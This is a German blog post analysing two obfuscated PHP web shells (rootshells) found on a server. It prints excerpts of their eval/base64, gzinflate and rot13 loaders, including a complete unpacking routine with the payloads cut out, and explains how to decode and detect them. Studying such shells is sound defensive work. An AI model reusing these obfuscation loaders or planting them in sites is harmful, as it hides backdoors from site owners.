PHP Rootshell

Für alle die gern mal sehen möchten wie man diese Shells gut erkennen kann und wie sie grob Funktionieren hier mal ein paar auszüge:

666

<?php /* WARNING: This file is protected encrypted via fud file no detecding. */

$o=“QAFzOzh3b3cNKAAAVi0o …  … DTg5″;
eval(base64_decode(„JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd
4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MD
tldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyR
sbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2J
HeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGx
sbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxs
bCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsb
D0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwp
Oyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxs
bGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTsk
bGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsb
GwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxs
bF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkm
MHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsb
GxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsX
TskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKy
tdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbG
xsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbG
xsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHN
lJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7J
GxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2J
HeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsb
GxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNn
Mk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXsk
bGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MD
cpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYk
d4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKC
RsbGxsbGxsbGwpOw==“));return;?>

der Pack/Verschleierungsalgorithmus ist komplett, nur den Payload hab ich ausgepunket, wäre hier zu lang. Noch eine habe ich, wieder mit 666 oh oh war der verursacher hier „böööse“..

666

<? eval(gzinflate(str_rot13(base64_decode(‚HJ3XjttcmlJfcu7mB2v … rqv/+33/++edf//Pf//zff/8f‘)))); ?>

Das sind hier natürlich nur auszüge, wäre mir zu lang zu posten und wer den Code wirklich haben will findet ihn sowieso sehr schnell.

Wie man schnell sieht nutzen beide base64 zur Verschleierung und darüber findet man diese Shells/Scripte auch sehr gut. Der Ansatz wie hier der eigentlich Code versteckt wurde ist bei beiden Scripten ein komplett anderer.

Script 1 hat eine Variable mit base64 inhalt, und ein eval das ebenfalls base64 kodiert ist das den inhalt der Variable wieder lesbar macht.

Script 2 hat den direkten base64 „String“, welcher mit dem uralten rot13 verschlüsselt ist (Cäsar lässt grüssen) welches wiederrum mit gz gepackt ist. Man ersetze eval durch echo und schon hat man was man möchte. Dadurch das hier gz eingesetzt wird lässt sich hier viel Code unterbringen.

Dekodierung von Script 1

Angefangen wird mit dem hintersten Teil um einen Anfang zu bekommen. Statt eval echo zum ausgeben verwenden.

Wir erhalten den verunstalteten Algorithmus zum wiederherstellen des eigentlichen Codes:

$lll=0;eval(base64_decode(„JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs=“));$ll=0;eval($lllllllllll(„JGxsbGxsbGxsbGw9J29yZCc7“));$llll=0;$lllll=3;eval($lllllllllll(„JGw9JGxsbGxsbGxsbGxsKCRvKTs=“));$lllllll=0;$llllll=($llllllllll($l[1])<<8)+$llllllllll($l[2]);eval($lllllllllll(„JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7″));$lllllllll=16;$llllllll=““;

Eben so alles noch einfach aus, aber jetzt.. das alles ist natürlich Absicht, man soll es ja nicht, bzw schlecht rekonstruieren können !

So schlimm wie man auf den ersten Blick denken mag ist es aber nicht.

$lllllllllll=’base64_decode‘;
$llllllllll=’ord‘;

usw..

Wie vorgegangen wurde ist klar, alle Variablen wurden durch schlecht zu unterscheidende ersetzt, php befehle ebenfalls, und die zuordnung mit base64 verschleiert. Ich kann mir kaum vorstellen das jemand das von Hand gemacht hat, der Hinweis im Code ist da ja auch recht deutlich.

Hat man alles von Hand rekonstruiert kommt ein Code zum Vorschein der die Zeichenkette $o verändert (Vertauscht zeichen etc.) und am ende mit base64_decode verwendbar macht und einbindet.

Voilá man hat einen lauffähigen php Code von dem vor dem ausführen keiner sehen kann was er denn macht. Der Aufwand das herauszufinden ist immens, aber die Scripte sind sehr interessant 🙂

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.